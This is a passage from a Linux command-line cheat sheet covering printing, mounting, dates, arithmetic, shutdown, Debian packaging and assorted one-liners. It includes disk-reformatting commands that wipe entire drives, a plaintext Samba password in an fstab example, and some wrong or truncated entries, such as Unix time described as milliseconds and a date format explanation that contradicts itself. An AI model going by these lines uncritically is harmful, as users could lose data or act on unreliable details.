 psresize -pletter double.ps new.ps 

* merge the files 's1.ps', 's2.ps', and 's3.ps' into a postscript file, 'slideshow.ps'

 psmerge -oslideshow.ps s1.ps s2.ps s3.ps 

* make a booklet from the file 'newsletter.ps':

 psbook newsletter.ps newsletter.signature.ps 

* make a double-sized booklet on letter-sized paper in landscape orientation, from a file using letter-sized portrait orientation, type:

 psbook input.ps > temp1.ps 

* make a text file, 'sutra.txt', from the input file `sutra.ps', type:

 ps2ascii sutra.ps sutra.txt 

* see how much free space is left on the system's disks

 df 

* output the disk usage for the folder tree whose root is the current directory

 du 

* output the disk usage, in kilobytes, of the '/usr/local' directory tree

 du -k /usr/local 

* show the number of megabytes used by the file '/tmp/cache'

 du -m /tmp/cache 

* output only the total disk usage of the '/usr/local' directory tree

 du -s /usr/local 

* output only the total disk usage, in kilobytes, of the '/usr/local' folder tree

 du -s -k /usr/local 

* format a floppy disk in the first removable floppy drive

 mke2fs /dev/fd0 

MOUNTING

AND UNMOUNTING MEDIA

In order for a some piece of media to be used in Linux it normally needs to be 'mounted' or 'unmounted'

* mount a floppy

 mount /floppy 

* mount the floppy in the first floppy drive to '~/tmp'

 mount /dev/fd0 ~/tmp 

Once you have mounted a floppy, its contents appear in the directory you specify, and you can use any file command on them.

* list the contents of the base directory of the floppy mounted on '/floppy'

 ls /floppy 

* list the contents of the whole folder tree on the floppy mounted on '/floppy'

 ls -lR /floppy 

* umount the usb stick that is mounted on '/floppy'

 umount /floppy  

You cant unmount the drive if you are in the mounted folder

* mount a CD-ROM on the system

 mount /cdrom   ##(the contents are then available at '/cdrom/')

* mount the disc in the CD-ROM drive to the '/usr/local/share/clipart' directory

 mount /dev/cdrom /usr/local/share/clipart 

* peruse a directory tree graph of the CD-ROM's contents

 tree /usr/local/share/clipart | less 

* change to the root directory of the CD-ROM

 cd /usr/local/share/clipart 

* list the contents of the root directory of the CD-ROM

 ls /usr/local/share/clipart 

* unmount the disc in the CD-ROM drive mounted on '/cdrom'

 umount /cdrom   ##(if files are in use, it may be impossible to unmount)

PRINTING

* print the file 'invoice'

 lpr invoice 

* type a message with banner and send it to the printer

 banner "Bon voyage!" | lpr 

* print a verbose, recursive listing of the '/usr/doc/HOWTO' directory

 ls -lR /usr/doc/HOWTO | lpr 

* send the file 'nightly-report' to the printer called bossomatic, type:

 lpr -P bossomatic nightly-report 

* print a dozen copies of the file 'nightly-report'

 lpr -#12 nightly-report 

PRINTING

QUEUES ....

* view the spool queue for the default printer

 lpq 

* view the spool queue for the printer called bossomatic

 lpq -P bossomatic 

* list the print jobs for user harpo

 lpq harpo 

CANCELING

PRINT JOBS ....

* cancel print job 83

 lprm 83 

* cancel all of your print jobs, but already spooled pages still print

 lprm - 

* print the current buffer with page numbers and headers

  M-x print-buffer 

* print the current buffer with no additional print formatting done to the text

 M-x lpr-buffer 

* print a PostScript image of the current buffer

 M-x ps-print-buffer 

* print the DVI file 'list.dvi'

 dvips list.dvi 

* print 'home.dvi' on an envelope loaded in the manual feed tray of the printer

 dvips -m -t landscape home.dvi 

* list the available printer formats

 gs -? 

GNU

Ghostscript 5.10 (1998-12-17) ...more output messages...

* convert 'tiger.ps' to a format suitable for printing on an HP Color DeskJet 500 printer

 gs -sDEVICE=cdj500 -sOutputFile=tiger.dj -dSAFER -dNOPAUSE tiger.ps < /dev/null 

* convert the file 'abstract.dvi' to PostScript

 dvips -o abstract.ps abstract.dvi 

this command reads the dvi file 'abstract.dvi' and writes a postscript version of it to the file 'abstract.ps'; the original file is not

* output only pages 14 and 36 from file 'abstract.dvi' to a PostScript file, 'abstract.ps'

 dvips -pp14,36 -o abstract.ps abstract.dvi 

* output pages 2 - 100 from 'abstract.dvi' to a postscript file, 'abstract.ps'

 dvips -pp2-100 -o abstract.ps abstract.dvi 

* output page 1 and pages 5 to 20 from file 'abstract.dvi' to a PostScript file, 'abstract.ps'

 dvips -pp1,5-20 -o abstract.ps abstract.dvi 

* output 'abstract.dvi' as a PostScript file, 'abstract.ps', with a paper size of `legal'

 dvips -t legal -o abstract.ps abstract.dvi 

* print the file 'abstract.dvi' to the default printer in landscape mode

 dvips -t landscape abstract.dvi 

* generate a pdf file from the dvi file 'abstract.dvi'

 dvips -Ppdf -o abstract.pdf abstract.dvi 

This command writes a new file, 'abstract.pdf', in PDF format.

* convert the PDF file 'pricelist.pdf'

 pdf2ps pricelist.pdf pricelist.ps 

* output the man page for psbook as PostScript and send it to the default printer

 man -t psbook | lpr 

* output the man page for psbook to the file 'psbook.ps'

 man -t psbook > psbook.ps 

In the preceding example, you can then use gs to convert the file to a format your non-PostScript printer understands.

* get a directory listing of the DOS disk currently in the primary floppy drive

 mdir a: 

* introduce the floppy disk in the first floppy drive as an HFS volume for the 'hfsutils'

 hmount /dev/fd0 
After you run this command, the other tools in the hfsutils package

* get a directory listing of the currently specified Macintosh disk

 hls 
Give the name of a directory as a quoted argument.

* get a directory listing of the 'Desktop Folder' directory in the currently specified Macintosh disk

 hls 'Desktop Folder' 

* copy the file 'readme.txt' to the `Desktop Folder' directory in the current Mac disk

 hcopy readme.txt 'Desktop Folder' 

* copy the file 'Desktop Folder:Readme' from the current Mac disk to the current directory

 hcopy 'Desktop Folder:Readme' . 

* delete the file 'Desktop Folder:Readme' on the current Mac disk, type:

 hdel 'Desktop Folder:Readme' 

* format the disk in the first floppy drive with a Macintosh HFS filesystem

 hformat /dev/fd0 

* format the disk in the second floppy drive with a Mac HFS filesystem, giving it a volume label of 'Work Disk'

 hformat -l 'Work Disk' /dev/fd1 

* format the second partition of the SCSI disk at '/dev/sd2' with a Mac HFS filesystem

 hformat /dev/sd2 2 

* format the entire SCSI disk at '/dev/sd2' with a Mac HFS filesystem, overwriting any existing Mac filesystem and giving it a label of 'Joe's Work Disk'

 hformat -f -l "Joe's Work Disk" /dev/sd2 0  ##(Dangerous!!)

TIMES

AND DATES

* Convert UNIX time to human readable date

 awk 'BEGIN{print strftime("%c",1238387636)}'

* show a calender in english

 LC_TIME=c cal -y

* When was your OS installed?

 ls -lct /etc | tail -1 | awk '{print $6, $7}'

* add the current time to your bash shell prompt

 export PS1="${PS1%\\\$*}"' \t \$ '

* Binary Clock

 watch -n 1 'echo "obase=2;`date +%s`" | bc'

* output the numeric day of the year that 21 June falls on in the current year

 date -d '21 Jun' +%j   ##(may print '172' for example)

* hear the current system time

 saytime 

* remind yourself to leave at 8:05 p.m.

 leave 2005 

* ring the bell in five seconds

 sleep 5; echo -e '\a' 

* announce the time in exactly five minutes

 sleep 5m; saytime & 

* announce the time in thirty seconds

 sleep 30; saytime 

DISPLAY

THE CURRENT TIME AND DATE ....

* print todays time and date in the format '12:32am 23 July 2009'

 date "+%l:%M%p %d %B %Y" 

* display todays date in the format '3mar2009'

 date "+%d%b%Y" 

* find out what format specifiers you can use with the 'date' command

 man strftime

* ?? perl one-liner to get the current week number

 date +%V

* output the current date and time in RFC822 format

 date -R   ##(prints 'Fri, 11 May 2001 11:10:29 -0400' for example)

* output the current system date and time in a standard format

 date   

This prints something like 'Fri May 11 11:10:29 EST 2001' where 'EST' signifies the timezone (in this case 'Eastern Standard Time')

* output the current date and time in UTC format

 date -u   ##(prints 'Fri May 11 15:10:29 UTC 2001')

* Display a cool clock on your terminal

 watch -t -n1 "date +%T|figlet"

USING

DATE TIME STAMPS ....

* backup the file 'eg.txt' to 'eg.txt.13may2010' (using the current date)

 cp eg.txt{,.$(date "+%d%b%Y")}

* backup the file 'eg.txt' with a readable format date-time stamped file

 cp eg.txt{,.$(date "+%d%b%Y.%I-%M%p")}

This will back up the file 'eg.txt' to 'eg.txt.13may2010.10-45am' for example where the filename used represents the current date and time.

* a function to back up a file with a date-time stamp name

 bak(){ [ -z "$1" ] || cp $1{,.$(date "+%d%b%Y.%I-%M%p")}; } 

SETTING

THE SYSTEM DATE AND TIME ....

There are a number of ways to set the date and time on the computer. One way is to set the time just locally. Another way is to use a network time server to set the time, which should be more accurate in the long run

* advance the clock by 3 minutes

 date -s '+3 mins'

* set the hardware clock

 hwclock

* set the system date

 rdate -s time-A.timefreq.bldrdoc.gov

* use a network time server to set the date

 man ntp

CONVERTING

TIME AND DATE FORMATS ....

Date and times come in many different text formats, depending on the country and whim of the date-time writer. This is very thorny issue, but often must be dealt with. The problem is confounded by cultural differences and ways of measuring time.

Unix-type operating systems such as Linux and Mac OSX have traditionally used the number of milliseconds since 1970 as a universal date-time format, but this has obvious limitations.

* Unix time to local time

 date -R -d @1234567890

CONVERTING

DATE AND TIME TIMEZONES ....

If you need to know the equivalent date and time in a different timezone, then you will have to do a conversion.

FOREIGN

AND NON LOCAL TIMES AND DATES ....

* show what time and date it is in new york

 TZ=America/New_York date

* print the time and date in the 'Indian/Maldives' timezone

 TZ=Indian/Maldives date

* show what time and date it is in bogota, colombia

 TZ=America/Bogota date

* show what general time zones are available

 ls /usr/share/zoneinfo/ | less

* show all available specific time-zones

 f=/usr/share/zoneinfo; find $f | sed "s,$f,," | less

* a function which searches for a particular time-zone by name

 tiz(){ f=/usr/share/zoneinfo; find $f | sed "s,$f,," | grep -i "$1"; }; tiz perth 

* show all the specific time-zones for the Australian zone

 ls /usr/share/zoneinfo/Australia

* get time in other timezones

 let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime}

* show the date in the german language

 LC_TIME=de_DE.utf8 date

TIMEZONES

....

* show the time in various timezones

 gworldclock

* show the time in other timezones

 tzwatch

GREENWICH

MEAN TIME ....

* print greenwich mean time in the format 'Fri Jul 17 16:36:24 2009'

 perl -e "print scalar(gmtime(1247848584))"

DATE

AND TIME OFFSETS ....

An date offset is something like '2 days ago' or 'tomorrow'.

* retrieve GMT time from websites ( generally accruate )

 w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'

* Get the time from NIST.GOV

 cat </dev/tcp/time.nist.gov/13

* print the date 14 days ago.

 date --date="1 fortnight ago"
 date -d "1 fortnight ago"     ##(the same)

* print date 24 hours ago

 date --date=yesterday

* Get yesterday's date or a previous time

 date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'

UNIX

TIME ....

Unix time is a number which represent the number of seconds since 1970-01-01 00:00:00 UTC

* Easily decode unix-time (function)

 utime(){ perl -e "print localtime($1).\"\n\"";}

* show the number of seconds since 1970

 date +%s

* Unix alias for date command that lets you create timestamps

 alias timestamp='date "+%Y%m%dT%H%M%S"'

CONVERT

TO UNIX TIME ....

It can be useful to convert to unix-time when arithmetic needs to be performed on dates or times, or when dates need to be sorted. The 'date' command does a very good job of parsing diverse date strings (such as feb 7 2009 or 01/11/2001) with its '-d' option, but it has its limitations

* convert a date string to the number of seconds since 1970

 date -d "Sat Feb 7 00:37:06 EST 2009" +%s

* convert tomorrows date (midnight, I suppose) into unix-time

 date -d'tomorrow' +%s  ##(prints something like '1264168894')

* print the final unix date

 date -ud @$[2**31-1]

* convert the date 'february 7, 2009' into unix-time

 date -d "Sat Feb 7 00:00:00 EST 2009" +%s
 date -d "feb 7 2009" +%s
 date -d "7 feb 2009" +%s       ##(the same)
 date -d "february 7 2009" +%s  ##(the same)
 date -d "7/2/2009" +%s         ##(the same, expects mm/dd/yyyy)
 date -d "7/2/09" +%s           ##(the same)

* these formats do NOT work (gnu date version 7.4)

 date -d "feb/7/2009" +%s       ##(NO!! doesnt work, at least for me)
 date -d "7/feb/2009" +%s       ##(Nor does this work!)
 date -d "feb 2009" +%s         ##(Nor does this work!)

* convert the date 'Dec 11 01:25:00 2008' to a unix time value

 perl -e 'use Time::Local; print timelocal(0,25,1,11,11,2008), "\n";'
##(should print '1228919100')

CONVERT

FROM UNIX TIME ....

* convert unix time (seconds since 1970) to something human readable

 date -d @1234567890

* convert unix-time (seconds since 1970) to something more human-readable

 perl -e 'print scalar(gmtime(1234567890)), "\n"'

* convert unix-time to human-readable with awk

 echo 1234567890 | awk '{ print strftime("%c", $0); }'

CALENDARS

....

* output a calendar for the current month

 cal 

* output a calendar for the year 2001

 cal 2001 

* output a calendar for the current year

 cal -y 

* output a calendar for June 1991

 cal 06 1991 

* Printing multiple years with Unix cal command

 for y in $(seq 2009 2011); do cal $y; done

* Show this month's calendar, with today's date highlighted

 cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"

* Show the date of easter

 ncal -e

* Display holidays in UK/England for 2009 (with week numbers)

 gcal -K -q GB_EN 2009 

CLOCKS

....

* Display clock in terminal

 watch -n 1 :

* StopWatch, simple text, hh:mm:ss using Unix Time

 export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'

ARITHMETIC

AND NUMBERS

* hexadecimal2decimal

 printf "%d\n" \0x64

* floating point operations in shell scripts

 echo "5 k 3 5 / p" | dc

* formatting number with comma

 printf "%'d\n" 1234567

* output the result of 50 times 10

 calc 50*10    ##(prints '500')

* output the result of 100 times the sum of 4 plus 420

 calc '100*(4+420)'  ##(prints '42400')

* output the remainder of 10 divided by 3

 calc 10%3           ##(prints '1')

* use bc to compute the result of 10 divided by 3, using 20 digits after the decimal point

 bc 

* Count to 65535 in binary (for no apparent reason)

 a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`

BC THE BINARY CALCULATOR ....

* start the bc binary calculator in interactive mode

 bc

* assign values to variables in bc and print the sum of 2 variables

 a=4; b=7; a+b  ##(prints '11' on a new line)

* raise 4 to the power of 3 and multiply the result by 10

 4^3; .*10    ##(you can use the '.' to access the last result)

* set the number of decimal places shown to 4 and compute 112 divided by 111

 scale=4; 112/111;  ##(this prints '1.0090' on a new line)

* set the number of decimal places show to 10

 scale=10

* multiply the variable 'a' by 4

 a*=4

* Floating point power p of x

 bc -l <<< "x=2; p=0.5; e(l(x)*p)"

RANDOM

NUMBERS ....

see: jot

* lotto generator

 shuf -i 1-49 | head -n6 | sort -n| xargs

* Outputs a 10-digit random number

 echo $RANDOM$RANDOM$RANDOM |cut -c3-12

* Outputs a 10-digit random number

 head -c10 <(echo $RANDOM$RANDOM$RANDOM)

* Outputs a 10-digit random number

 head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'

* Display rows and columns of random numbers with awk

 seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'

* Print a random 8 digit number

 jot -r -n 8 0 9 | rs -g 0

* Print a random 8 digit number

 jot -s '' -r -n 8 0 9

* Random number generation within a range N, here N=10

 echo $(( $RANDOM % 10 + 1 ))

* output a random number from 0 to 9

 random 10 

* Outputs a 10-digit random number

 tr -c -d 0-9 < /dev/urandom | head -c 10

* Printable random characters

 tr -dc '[:print:]' < /dev/urandom

* a random number guessing game

 A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";

* sort the lines of a file in a random way

 cat test.txt | while read f ; do printf "$RANDOM\t%s\n" "$f"; done | sort -n | cut -f2-

* print a random number with printf

 printf "$RANDOM %s\n" number 

SEQUENCES

....

* output the sequence of numbers from one to seven

 seq 7 

* output the sequence of numbers from one to negative seven

 seq -7 

* output the sequence of numbers from nine to zero

 seq 9 0 

* output the sequence of numbers from negative one to negative twenty

 seq -1 -20 

* output the sequence of numbers from -1 to 14, incrementing by 3,

 seq -1 3 14 

* output from 9 to 999, stepping by 23, with numbers padded with zeros

 seq -w 9 23 999   ##(all numbers will have an equal 'width') 

* output the sequence of numbers from 1 to 23, with a space character between each

 seq -s ' ' 1 23 

* concatenate all the files in this folder, whose names are numbers 25 to 75, into a new file called 'selected-mail'

 cat $(seq -s " " 25 75) > selected-mail 

* output the prime factors of 2000

 factor 2000  ##(prints '2000: 2 2 2 2 5 5 5')

* output the number of ounces in 50 grams

 units '50 grams' 'ounces' 
* 1.7636981 / 0.56699046 ,,,

* determine the location of the units database

 units -V 
units version 1.55 with readline, units database in /usr/share/misc/units.dat

* output the English text equivalent of 100,000

 number 100000 

MATHEMATICS

* Find out how to say the first 66 digits of pi as a word

 pi 66 | number

* Fibonacci numbers with awk

 awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}'

* Fibonacci numbers with sh

 prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done

* A handy mathematical calculator

 bc

* Draw a Sierpinski triangle

 perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display

WEATHER

* get Hong Kong weather infomation from HK Observatory

 wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$'

* check the weather

 ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br \/>//;s/<\/div.*$//'

* Show current weather for any US city or zipcode

 weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}

MONEY

* Get Dollar-Euro exchage rate

 curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'

SCIENCE

* Mirror the NASA Astronomy Picture of the Day Archive

 wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html

* View the latest astronomy picture of the day from NASA.

 apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}

* Real time satellite weather wallpaper

 curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin

GEOGRAPHY

....

* find geographical location of an ip address

 lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'

* find geographical location of an ip address

 lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'

* geoip lookup, the geographical location of an ip address

 geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}

GPS

GLOBAL POSITIONING SYSTEM ....

* send a .loc file to a garmin gps over usb

 gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:

SHUTTING

DOWN THE COMPUTER

* immediately shut down and halt the system

 shutdown -h now 

* immediately shutdown the system, and then reboot

 shutdown -r now 

* immediately shut down and halt the system, sending a warning to all users

 shutdown -h now "The system is being shut down now!" 

* shut down and then reboot the system at 4:23 a.m.

 shutdown -r 4:23 

* shut down and halt the system at 8:00 p.m.

 shutdown -h 20:00 

* shut down and halt the system in five minutes

 shutdown -h +5 

* shut down and halt the system at midnight, and warn all logged-in users

 shutdown -h 00:00 "The system is going down for maintenance at midnight" 

* cancel any pending shutdown

 shutdown -c 

* cancel any pending shutdown and send a message to all logged in users

 shutdown -c "Sorry, I hit the wrong key!" 

* find out where perl is installed on your system

 which perl 

* create a new user with a username of bucky

 adduser bucky ##(By default, the user's home directory will be their name)

* add the user doug to the audio group

 addgroup doug audio 

* find out how long the system has been up

 uptime 
##(prints 3:34pm up 4:31, 4 users, load average: 0.01, 0.05, 0.07)

* output a list of times when the system was rebooted

 last reboot 

* output the name of the operating system

 uname 

* output the release number of the operating system

 uname -r 

* output the CPU processor type of the system

 uname -m 

* output all of the uname information for the system you are on,

 uname -a 

* output the release name of the Debian system you are on

 cat /etc/debian_version 

Debian releases have historically been named after characters from the motion picture Toy Story.

MICROSOFT

WINDOWS

* Change Windows Domain password from Linux

 smbpasswd -r <domain-server> -U <user name>

* Use Cygwin to talk to the Windows clipboard

 cat /dev/clipboard; $(somecommand) > /dev/clipboard

* Mount a Windows shared folder on the local network (Ubuntu) with user

 sudo mount -t cifs -o user,username="samba username"

* automount samba shares as devices in /mnt/

 sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino

* mount a windows partition sudo mkdir /media/nt/ sudo fdisk -l # find out where is the nt partition sudo mount -t ntfs -o nls=utf8,umask=0222 /dev/hdb1 /media/nt

MISCELANEOUS

MAKING

A SIMPLE DEBIAN PACKAGE ....

The following is a procedure for creating a debian package.

* create a 'debian/usr/bin' folder and copy the executable there

 mkdir -p ./debian/usr/bin; cp someprogram ./debian/usr/bin

* create a man page for the program

 vim someprogram.1
##(this is an optional step)

* create a man page folder and copy the man page there,

 mkdir -p ./debian/usr/share/man/man1
 cp ./man/man1/someprogram.1 ./debian/usr/share/man/man1

* compress the man page with gzip (an option step)

* create a copyright file to include in the package

 find /usr/share/doc -name "copyright" ##(see examples of copyright files)

* create a folder for the copyright file and copy the file there

 mkdir -p ./debian/usr/share/doc/someprogram; ... 
 cp ./copyright ./debian/usr/share/doc/someprogram

* find out the dependencies of all programs which your program uses

 dkpg -S /bin/cat ##(this will display 'coreutils: /bin/cat)

* find out the version numbers of dependencies

 apt-cache showpkg coreutils
##(this information is needed for the 'Dependencies' field of the control file)

make a control file..

Package: someprogram Version: 1.1-1 Section: base Priority: optional Architecture: all Depends: bash (>= 2.05a-11), textutils (>= 2.0-12), awk, procps (>= \ 1:2.0.7-8), sed (>= 3.02-8), grep (>= 2.4.2-3), coreutils (>= 5.0-5) Maintainer: James Tree <james@tree.org> Description: parses a text stream This script parses a text stream using a stack virtual machine ,,,

* copy the control file to the 'DEBIAN' folder

 mkdir -p debian/DEBIAN; cp control debian/DEBIAN
##(on some debians: find ./debian -type d | xargs chmod 755)

* make a change log file (an optional step) xlinuxstatus (1.2-1) * Made Debian package lintian clean. -- James Tree <james@tree.org> 2002-12-13 ,,,

* make a changelog.Debian file (optional)

linuxstatus Debian maintainer and upstream author are identical. Therefore see also normal changelog file for Debian changes. ,,,

* create and rename the package file

 dpkg-deb --build debian; mv debian.deb someprogram_1.1-1_all.deb
##(or build as root 'fakeroot dpkg-deb --build debian')

* install the newly created package

 dpkg -i ./someprogram_1.1-1_all.deb

* remove the installed package

 dpkg -r someprogram

=;

UNIX

PROGRAM NAMING ....

The names for Unix programs appear cryptic and seem to have no relation to their function. However there is usually an explanation for the name. Unix commands are traditionally very short to save typing.

Some Unix names explained .. unix, a pun on the <mul>tics operating system .. linux, <linu>s torvalds version of the uni<x> operating system .. cat, con<cat>enate files, display all mentioned files .. less, is a successor to the 'more' program, a file page .. sed, <s>tream <ed>itor .. grep, <g>lobal <r>egular <e>x<p>ression search, .. ed, <ed>itor .. vi, <vi>sual editor .. vim, <v>isual editor <im>proved .. emacs, <e>diting <mac>ro<s> .. wc, <w>ord <c>ount .. tar, write to a <t>ape <ar>chive .. ls, <l>i<s>t files, .. troff, <t>ypesetting <r>un <off> system, formats documents .. groff, <g>nu version of the <r>un <off> system .. perl, <p>ractical <e>xtraction and <r>reporting <l>anguage .. awk, text processing language by <A>ho, <W>einberger, and <K>ernighan .. cd, <c>hange <d>irectory .. gcc, <g>nu <c> <c>ompiler .. wget, <w>eb <get>ter .. curl, <c>apture <url> .. scp, <s>ecure <c>opy <p>rogram ..

CURIOSITIES

....

* A death cow thinking in your fortune cookie

 fortune -s -c -a | cowthink -d -W 45

* Find the cover image for an album

 albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}

* random xkcd comic

 display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"

* Auto Rotate Cube (compiz)

 wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0

* Matrix Style

 LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"

* read the useless use of cat awards page

 lynx http://partmaps.org/era/unix/award.html

* dolphins on the desktop (compiz)

 xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID &

* for all who don't have the watch command

 watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }

* Get Futurama quotations from slashdot.org servers

 echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"

* View the newest xkcd comic.

 xkcd(){ local f=$(curl -s http://xkcd.com/);display $(echo "$f"|grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)');echo "$f"|awk '/<img src="http:\/\/imgs\.xkcd\.com\/comics\/.*?" title=.*/{gsub(/^.*title=.|".*?$/,"");print}';}

* The absolutely fastest nth fibonacci number

 time echo 'n=70332;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c=a *a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*( a+2*b)' | bc

* The 1 millionth fibonacci number

 time echo 'n=1000000;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c =a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a *(a+2*b)' | bc

* Another Matrix Style Implementation

 echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done

* useless load

 cat /dev/urandom | gzip -9 > /dev/null &

* Gets a random Futurama quote from /.

 curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2

* Get Futurama quotations from slashdot.org servers

 lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'

* put nothing nowhere

 cat /dev/zero > /dev/null &

* Random line from bash.org (funny IRC quotes)

 curl -s http://bash.org/?random1

* decode html entities with perl

 perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'

ZSH

* Get length of array in zsh

 $foo[(I)$foo[-1]]

* List the top ten commands you use for the 'zsh' shell

 perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10

* ZSH prompt. ':)' after program execution with no error, ':(' after

 PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,% ~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# '

* Show every subdirectory (zsh)

 ls -ld **/*(/)

* Delete empty directories with zsh

 rm -d **/*(/^F)

* Postpone a command [zsh]

 <alt+q>

* zsh only: access a file when you don't know the path, if it is in

 file =top

MAC

OSX

This book focusses more on Linux but here is a little information about OSX

* Enable Hibernate in OS X

 sudo pmset -a hibernatemode 1

* On Mac OS X, runs System Profiler Report and e-mails it to

 system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com

* Paste OS X clipboard contents to a file on a remote machine

 pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'

* Throttling Bandwidth On A Mac

 sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80

* OSX command to take badly formatted xml from the clipboard, cleans

 pbpaste | tidy -xml -wrap 0 | pbcopy

* Paste the contents of OS X clipboard into a new text file

 pbpaste > newfile.txt

* Zip a directory on Mac OS X and ignore .DS_Store (meta-data)

 zip -vr example.zip example/ -x "*.DS_Store"

* Open up a man page as PDF (#OSX)

 function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }

@@ http://www.sveinbjorn.org/cljg2macosx a good macosx command line site

* on a bsd system view information about the folder structure

 man hier

NEWSREADERS

@@ slrn lightweight @@ pan graphical, good @@ gnus within emacs @@ thunderbird @@ xpn graphical @@ knode the kde app

FILE

USAGE

@@ filelight shows disk usage in a graphical manner @@ gadmin-rsync a gui wrapper for rsync with ssh, scp etc

TERMINALS

@@ slugterm light weight terminal for small linuxes @@ grdc.sf.net remote desktop for sys admins

GRAPHS

A simple pie chart in 'gnuplot' (and with a 3d thickness)

@@ freemind.sf.net mind mapping charting software

WIKI

@@ docuwiki a wiki with no database backend

MUSIC

@@ amarok @@ songbird music playlist software

@@ frescobaldi create musical scores from a text input file. gui application

GPS

@@ gpx an xml format for storing gps data @@ prune a tool for manipulating gps data

ART

@@ synfig studio a program to create animations using stick figures, paths etc. @@ blender 3d animations @@ wwww.pencil-animation.org a tool for creating traditional drawn animation @@ www.morevnaproject.org an open source animation (anime)

GAMES

@@ www.schoolsplay.org education games. a spelling pacman, flashcards etc 'childsplay' @@ pyspace war an asteroid shootem up

GAME

ENGINES ....

@@ pygame @@ sdl @@ irrlicht.sf.net an open source game engine, written in c++, with bindings for other languages

GENEOLOGY

@@ gramps gui geneology builder

BLOG

ENGINES

@@ bilboblog a simple blog engine @@ lifeograph simple diary application

JARGON

